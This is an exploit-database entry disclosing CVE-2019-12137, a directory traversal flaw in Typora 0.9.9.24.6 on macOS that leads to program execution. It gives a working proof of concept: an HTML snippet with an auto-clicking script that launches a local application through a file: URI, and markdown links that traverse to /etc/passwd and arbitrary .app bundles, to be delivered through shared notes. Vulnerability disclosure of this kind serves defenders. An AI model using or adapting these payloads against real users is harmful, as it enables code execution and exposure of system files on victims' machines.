Registertypora 0.9.9.24.6 directory traversal
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# Exploit Title: Code execution via path traversal # Date: 17-05-2019 # Exploit Author: Dhiraj Mishra # Vendor Homepage: http://typora.io # Software Link: https://typora.io/download/Typora.dmg # Version: 0.9.9.24.6 # Tested on: macOS Mojave v10.14.4 # CVE: CVE-2019-12137 # References: # https://nvd.nist.gov/vuln/detail/CVE-2019-12137 # https://github.com/typora/typora-issues/issues/2505 Summary: Typora 0.9.9.24.6 on macOS allows directory traversal, for the execution of arbitrary programs, via a file:/// or ../ substring in a shared note via abusing URI schemes. Technical observation: A crafted URI can be used in a note to perform this attack using file:/// has an argument or by traversing to any directory like (../../../../something.app). Since, Typro also has a feature of sharing notes, in such case attacker could leverage this vulnerability and send crafted notes to the victim to perform any further attack. Simple exploit code would be: <body> <a href="file:\\\Applications\Calculator.app" id=inputzero> <img src="someimage.jpeg" alt="inputzero" width="104" height="142"> </a> <script> (function download() { document.getElementById('inputzero').click(); })() </script> </body> And alt would be: ``` [Hello World](file:///../../../../etc/passwd) [Hello World](file:///../../../../something.app) ```
Typora 0.9.9.24.6 directory traversal Vulnerability / Exploit Source : Typora 0.9.9.24.6 directory traversal
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